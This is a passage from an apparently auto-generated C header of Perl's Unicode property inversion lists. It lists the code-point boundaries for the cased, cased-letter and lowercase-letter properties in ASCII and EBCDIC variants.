0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CASED_invlist[] = { /* for EBCDIC 1047 */ - 297, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69E, - 0xA722, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CASED_invlist[] = { /* for EBCDIC 037 */ - 293, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2E0, - 0x2E5, - 0x345, - 0x346, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2180, - 0x2183, - 0x2185, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69E, - 0xA722, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F8, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CASEDLETTER_invlist[] = { /* for ASCII/Latin1 */ - 253, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C7C, - 0x2C7E, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CASEDLETTER_invlist[] = { /* for EBCDIC 1047 */ - 285, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C7C, - 0x2C7E, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CASEDLETTER_invlist[] = { /* for EBCDIC 037 */ - 281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x2B0, - 0x370, - 0x374, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x561, - 0x588, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2183, - 0x2185, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C7C, - 0x2C7E, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA640, - 0xA66E, - 0xA680, - 0xA69C, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA78F, - 0xA790, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0x10400, - 0x10450, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x118A0, - 0x118E0, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E900, - 0x1E944 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LOWERCASELETTER_invlist[] = { /* for ASCII/Latin1 */ - 1267, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x61, - 0x7B, - 0xB5, - 0xB6, - 0xDF, - 0xF7, - 0xF8, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 